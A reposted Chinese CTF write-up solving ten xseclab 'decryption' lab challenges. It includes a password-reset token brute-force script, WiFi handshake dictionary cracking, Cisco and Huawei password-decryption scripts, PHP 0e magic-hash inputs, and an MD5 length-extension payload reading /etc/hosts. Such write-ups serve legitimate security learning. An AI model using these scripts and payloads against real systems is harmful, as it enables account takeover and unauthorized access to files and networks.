网络安全实验室6.解密关

news2024/11/18 9:45:31

6.解密关

1.以管理员身份登录系统

url:http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/index.php

进入网站点击忘记密码的链接,进入到重置密码的模块

输入aaa,点击抓包,发送到重放模块go

在这里插入图片描述

查看返回的链接,接下来会跳转到这个页面,sukey是用来验证的,盲猜是MD5加密,username是要重置的用户名

服务器会对提交的sukey和username的值进行匹配

首先对sukey进行MD5解密,见识多的一看就知道这是个时间戳

在这里插入图片描述

对时间戳进行转换,发现确实是

在这里插入图片描述

我们可以通过伪造sukey的值来重置admin的密码

抓包查看服务器的时间,发现比北京时间晚了8小时,转成时间戳就是慢了28800

在这里插入图片描述

第一种方法:在重置密码的页面输入admin,放包,记录服务器的时间戳

在这里插入图片描述

记录上面图片的时间戳

写脚本生成对应的时间戳字典

with open("pass.txt","w") as f:
    for x in range(1xxxx0000,1xxxx0000):     #大概的时间戳范围
        f.write("%d\n" % x)

之后点击重置密码的页面,用burpsuite神器爆破

在这里插入图片描述

字典加载上面脚本生成的字典

在这里插入图片描述

并且设置为MD5加密

在这里插入图片描述

开始爆破,查找长度不同的页面,得到key is yestimeispassword

在这里插入图片描述

第二种方法,使用python脚本进行爆破

import requests
import hashlib
import time

se = requests.session()
headers = {'Cookie': 'PHPSESSID=423613048c7ae8017f654bea6fafe808'}

while 1:
    sukey = hashlib.new('md5', str(int(time.time())-28800)).hexdigest()
    url = 'http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/reset.php?sukey=' + sukey + '&username=admin'
    r = se.get(url, headers=headers)

    if r.content:
        print r.content
        break
    else:
        print 'Cracking: ' + sukey

脚本来源:https://blog.csdn.net/s0mor/article/details/102969444

2.邂逅对门的妹纸

点击Wifi-Crack

下载得到一个wifi-crack.cap包,根据提示信息可以发现,妹纸今年(2014年)上大三,猜测wifi密码可能是生日格式,出生应该在 1993 或 1994 年,看这样子密码应该是 8 位数字了,可以使用 EWSA 爆破。

写脚本生成一个字典dic.txt:

with open("dic.txt","w") as f:
    for year in range(1990,2014):
        for month in range(1,12):
            for day in range(1,32):
                f.write("%d%02d%02d\n" % (year,month,day))

在这里插入图片描述

接下来,使用 EWSA 爆破,点击左上角导入数据

在这里插入图片描述

选中下载的wifi-crack.cap的文件,然后选择“OK”,这里一定要看下是不是有效包,无效的握手包,在图示位置就会显示无数据。

在这里插入图片描述

导入数据之后,继续添加字典

在这里插入图片描述

选择一个准备好的字典,点击确定

在这里插入图片描述

点击开始测试,找到密码19940808,MD5加密32位小写提交e1a45d0d24cb87490b9efb2fc2e8a2ba

在这里插入图片描述

3.万恶的Cisco

第一种方法:使用在线cisco交换机密码破解的网站:Cisco Password Cracker

得到key:aishishenmadongxi@Admin

在这里插入图片描述

第二种方法:使用python2脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Date: 2014/11/30
# Created by 独自等待
# 博客 http://www.waitalone.cn/
try:
    from cisco_decrypt import CiscoPassword
except ImportError:
    raise SystemExit('\n模块导入错误,请使用pip进行安装!')

cisco_pass = '02070D48030F1C294940041801181C0C140D0A0A20253A3B'
crack = CiscoPassword()
password = crack.decrypt(cisco_pass)
print password

在这里插入图片描述

4.万恶的加密

根据提示是某huawei/h3c交换机的加密密码,网上查找的脚本,可能是因为python2的Crypto.Cipher模块已无法安装,windows下无法运行此脚本,可以在kali下运行

# coding=utf-8
from Crypto.Cipher import DES

def decode_char(c):
    if c == 'a':
        r = '?'
    else:
        r = c
    return ord(r) - ord('!')

def ascii_to_binary(s):
    assert len(s) == 24
    out = [0]*18
    i = 0
    j = 0

    for i in range(0, len(s), 4):
        y = decode_char(s[i + 0])
        y = (y << 6) & 0xffffff
        k = decode_char(s[i + 1])

        y = (y | k) & 0xffffff
        y = (y << 6) & 0xffffff
        k = decode_char(s[i + 2])

        y = (y | k) & 0xffffff
        y = (y << 6) & 0xffffff
        k = decode_char(s[i + 3])
        y = (y | k) & 0xffffff

        out[j+2] = chr(y       & 0xff)
        out[j+1] = chr((y>>8)  & 0xff)
        out[j+0] = chr((y>>16) & 0xff)

        j += 3
    return "".join(out)

def decrypt_password(p):
    r = ascii_to_binary(p)
    r = r[:16]
    d = DES.new("\x01\x02\x03\x04\x05\x06\x07\x08", DES.MODE_ECB)
    r = d.decrypt(r)
    return r.rstrip("\x00")

if __name__ == '__main__':
    miwen = "aK9Q4I)J'#[Q=^Q`MAF4<1!!"
    print u'明文' + decrypt_password(miwen)

得到key为84432079

在这里插入图片描述

5.喜欢泡网吧的小明

url:http://lab1.xseclab.com/password2_454a7a7cb7213e14695c022cfb04141c/index.php

首先点击链接,下载读取后的dump文件,接下来用WinHex编辑器打开该文件

看到 只有前8行有意义,70以后都是无用的重复字节

在这里插入图片描述

题目提示说,卡片数据产生了一个字节的错误,大概就是修改文件头部,文件头应该有始有终,测试后发现是将第一个AA改为8A

在这里插入图片描述

从刷卡的页面来看,显示的是100.00,我们知道10000的十六进制是2710

在这里插入图片描述

根据题目要求要修改为200.00,而20000的十六进制是4e20

在这里插入图片描述

所以我们将两个1027改成204e就可以

在这里插入图片描述

得到key is cardcrack_skill_get!

在这里插入图片描述

6.异常数据

这道题目,第一眼看上去像是base64加密AGV5IULSB3ZLVSE=

但是解密后却不对ey!B҇vKU!

参考一下40huo同学写的脚本,非常厉害

# coding=utf-8
from base64 import *
import re
def dfs(res, arr, pos):
    res.append(''.join(arr))
    i = pos
    for i in range(i, len(arr)):
        if arr[i] <= 'Z' and arr[i] >= 'A':
            arr[i] = arr[i].lower()
            dfs(res, arr, i + 1)
            arr[i] = arr[i].upper()
arr = list('AGV5IULSB3ZLVSE=')
res = []
dfs(res, arr, 0)
res_decode = map(b64decode, res)
for i in res_decode:
    if re.findall(r'\\x', repr(i)):
        continue
    else:
        print i

脚本运行后,得到hey!IloveU!

在这里插入图片描述

7.md5真的能碰撞嘛?

url:http://lab1.xseclab.com/pentest5_6a204bd89f3c8348afd5c77c717a097a/

点击网页查看源码

在这里插入图片描述

大概意思就是找一个和!1793422703!md5值一样的字符串,且这个字符串不能是!1793422703!

!1793422703!的MD5值是0e332932043729729062996282883873

本题会用到PHP处理0e开头的md5哈希字符串时的一个漏洞:

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

所以只要POST提交password的值经过md5加密后是0e开头就行,此处提供几个值password=s878926199a,240610708, QNKCDZO

得到yesyouareclever!

在这里插入图片描述

8.小明爱上了一个搞硬件的小姑凉

下载文件,用notepad++打开看看,发现SaleaeAsyncSerialAnalyzer

在这里插入图片描述

这就是提示里说的某逻辑分析仪

网上搜索,下载这个软件,把文件拖进去打开,右下角就出现了解码后的key:iloveyou,xiaoguniang!

在这里插入图片描述

这里需要注意里面的COMMA是逗号,自己转成

也可以自己搜索能打开后缀为logicdata格式的文件的软件,结果是一样的

9.有签名限制的读取任意文件

url:http://lab1.xseclab.com/decrypt1_53a52adb49c55c8daa5c8ee0ff59befe/md5_le.php

根据提示本题需要MD5长度扩展攻击

本题我们使用的工具是hash_extender,推荐使用Ubuntu进行安装

git clone https://github.com/iagox86/hash_extender
sudo apt-get install g++ libssl-dev
cd hash_extender
make

编译安装完成之后就可以继续了

./hash_extender -f md5 -l 32 -d ‘/etc/hosts’ -s ‘f3d366138601b5afefbd4fc15731692e’ -a ‘’ --out-data-format=html

-d 原始数据

-f 代表加密方式

-l key的长度

-s 原始的hash值

-a 添加的值

–out-data-format 输出的格式

img

组合一下New string和New signature

最后payload如下

http://lab1.xseclab.com/decrypt1_53a52adb49c55c8daa5c8ee0ff59befe/md5_le.php?filepath=%2fetc%2fhosts%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%00&sign=1b17d9594eb404c97c5090b11660ac63

得到Flag is: Md5LenghtExtAttackNowYouSee

img

10.美丽的邂逅与密码器的开门密码

点击下载二进制的exe文件,需要输入的字符串长度大于50

img

得到0h_No_u_f0und_m3

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

博客:
https://rdyx0.github.io/

先知社区:
https://xz.aliyun.com/u/37846

SecIN:
https://www.sec-in.com/author/3097

CSDN:
https://blog.csdn.net/weixin_48899364?type=blog

公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/338650.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

VScode 结合clangd 构建linux源代码阅读环境

1、背景介绍上一篇文章&#xff1a;VScode 结合Global构建linux源代码阅读环境 &#xff0c;介绍了在VS Code工具中通过remote-ssh远程登陆到Linux远程服务器&#xff0c;使用Global构建linux源代码阅读环境&#xff0c;对linux kernel代码进行解析&#xff0c;实现全局搜索、自…

Vue2创建移动端项目

一、Vscode Vscode 下载安装以及常用的插件 1、Vscode 下载 下载地址&#xff1a;Vscode 中文语言插件 搜索 chinese 主题 Atom 主题 文件图标主题 搜索 icon 源代码管理插件GitLens 搜索 GitLens Live Server _本地服务器 搜索 Live Server Prettier - Code formatt…

405 Method Not Allowed,CORS跨域,来也自动化OCR接口报错,Nginx处理OPTIONS请求

在使用来也的OCR接口时&#xff0c;请求报错了&#xff0c;提示CORS跨域。POST请求&#xff0c;请求url&#xff1a;http://mage.uibot.com.cn/v1/mage/ocr/bills&#xff0c;官方文档&#xff1a;请求与响应&#xff1a;预检请求OPTIONS正式请求错误信息看控制台和网络栏位内容…

【沁恒WCH CH32V307V-R1开发板输出DAC实验】

【沁恒WCH CH32V307V-R1开发板输出DAC实验】1. 前言2. 软件配置2.1 安装MounRiver Studio3. DAC项目测试3.1 打开DAC工程3.2 编译项目4. 下载验证4.1 接线4.2 演示效果5. 小结1. 前言 数字/模拟转换模块&#xff08;DAC&#xff09;&#xff0c;包含 2 个可配置 8/12 位数字输入…

自己动手做一个mini-chatgpt

开场最近chatgpt已经火爆了&#xff0c;几乎是家喻户晓老少皆知啊&#xff0c;公测推出60天后就已经是UV人数过亿&#xff0c;日访问量号称也是过亿。投资chatgpt研发团队的微软也是2个月内迅速推出自己的chatgpt的bing搜索&#xff0c;股票下载量都是暴增啊。前面文章已经介绍…

计算机网络自定向下 -- 浅谈可靠性之rdt协议

可靠性数据传输原理 可靠指数据在传输过程中不错&#xff0c;不丢&#xff0c;不乱 运输层要为应用层提供一种服务&#xff1a;数据可以通过一条可靠的信道进行传输&#xff0c;在该信道中传输的数据不会受到损坏或者丢失, 实现这种服务的是可靠数据传输协议。 要实现这种服…

python的opencv操作记录11——阈值分割

文章目录传统图像处理分割阈值分割一个应用场景opencv库中的阈值分割固定阈值THRESH_OTSU 大津法阈值自适应阈值传统图像处理分割 现在提到图像分割&#xff0c;很多人会直接想到当前火爆的深度学习的各种分割网络&#xff0c;比如实例分割&#xff0c;语义分割等。其实在传统…

Java爬虫Selenium+Java+ChromeDriver

一、爬虫工具 selenium 是一个模拟浏览器操作的工具&#xff0c;背后有google 维护源代码&#xff0c;支持全部主流浏览器&#xff0c;支持主流的编程语言&#xff0c;包括:java,Python,C#,PHP,Ruby,等&#xff0c;在本项目上使用的Java语言。 官网&#xff1a;https://www.sel…

【Vue】参数传递:如何同时传递 DTO 和 file 文件

日常开发时&#xff0c;如果遇到较为复杂的 DTO 对象的参数传递时&#xff0c;通常前端使用的请求头为&#xff1a;application/json&#xff08;JSON 格式的数据&#xff09;&#xff1b;而后端可以使用 RequestBody 接收一个 DTO 对象。但当需要在一个界面上同时传递 DTO 和附…

Java集合中的Map

MapMap接口键 值 对存储键不能重复&#xff0c;值可以重复Map三个实现类的存储结构HashMap&#xff1a;Hash表链表红黑树结构 线程不安全TreeMap&#xff1a; 底层红黑树实现HashTable&#xff1a;hash表链表红黑树 线程安全HashMapHashMap常用方法HashMap<String,String>…

[测开篇]设计测试用例的方法如何正确描述Bug

​ 文章目录为什么测试人员要写测试用例&#xff1f;怎样设计测试用例&#xff1f;&#xff08;总的方面&#xff09;1.基于需求设计测试用例&#xff08;总的方面&#xff09; 2.页面&#xff08;总的方面&#xff09; 3.非功能性测试&#xff08;具体方面&#xff09; 4.1 等…

「Python|环境安装|Windows」如何在Windows上安装Python环境?

本文主要介绍如何在Windows上安装Python&#xff0c;帮助初学者或者非程序员伙伴快速搭建可以运行python代码的环境。 文章目录安装python做一点小配置验证python如何安装指定版本的python编程语言的环境搭建一直是学习编程的第一道门槛。 对于如何在Linux系统上安装指定版本的…

谷歌蜘蛛池怎么搭建?Google蜘蛛池可以帮助谷歌排名吗?

本文主要分享关于谷歌蜘蛛池的搭建疑问&#xff0c;以及Google对谷歌排名的影响到底有多大。 本文由光算创作&#xff0c;有可能会被剽窃和修改&#xff0c;我们佛系对待这种行为吧。 谷歌蜘蛛池怎么搭建&#xff1f; 答案是&#xff1a;需要一个内链外链体系复杂的站群系统…

154、【动态规划】leetcode ——494. 目标和:回溯法+动态规划(C++版本)

题目描述 原题链接&#xff1a;494. 目标和 解题思路 &#xff08;1&#xff09;回溯法 本题的特点是nums中每个元素只能使用一次&#xff0c;分别试探加上nums[index]和减去nums[index]&#xff0c;然后递归的遍历下一个元素index 1。 class Solution { public:int res …

java中flatMap用法

java中map是把集合每个元素重新映射&#xff0c;元素个数不变&#xff0c;但是元素值发生了变化。而flatMap从字面上来说是压平这个映射&#xff0c;实际作用就是将每个元素进行一个一对多的拆分&#xff0c;细分成更小的单元&#xff0c;返回一个新的Stream流&#xff0c;新的…

1629_MIT_6.828_xv6_chapter1操作系统的组织

全部学习汇总&#xff1a;GreyZhang/g_unix: some basic learning about unix operating system. (github.com) 这一次整理一下操作系统组织相关的知识&#xff0c;主要还是xv6教学操作系统相关的知识。当然&#xff0c;很多知识在这类技术领域是通用的。 1. 操作系统的主要功能…

SAP ABAP Odata

GetEntity和GetEntitys GetEntitys 创建Odata Project 导入结构 选择需要的字段 设定Key 勾选字段的creatable、updatable、sortable、nullable、filterable属性值。 再依上述步骤创建ZPOITEM结构和实体集 3. 创建ZPOHEADER和ZPOITEM的Association 两个实体集的关联字段&…

RocketMQ-消息消费模式 顺序消费

RocketMQ-消息消费模式 顺序消费RocketMQ-消息消费模式集群模式集群模式的演示(本身就默认)Rocketmq存储队列广播模式顺序消费如何改实现顺序消费RocketMQ-消息消费模式 集群模式 在消费模式为集群的情况下,如果机器是集群的,消息只会给集群中的其中一台机器消费到 集群模…

【数据结构】双向链表的模拟实现(无头)

目录 前言&#xff1a; 1、认识双向链表中的结点 2、认识并创建无头双向链表 3、实现双向链表当中的一些方法 3.1、遍历输出方法&#xff08;display&#xff09; 3.2、得到链表的长度&#xff08;size&#xff09; 3.3、查找关键字key是否包含在双链表中(contains) 3.…

基于I2S通讯MAX98357模块的JetsonNano声音外放

前言有很多方法可以为 Jetson 设备添加音频功能。USB 扬声器和USB 麦克风是一种简单的解决方案&#xff0c;但它们确实占用了宝贵的 USB 插槽&#xff0c;这些插槽可能更适合用于键盘、蓝牙功能、Internet Keys 和其他配件。在 Jetson 设备上&#xff0c;NVIDIA 通过 40 针 GPI…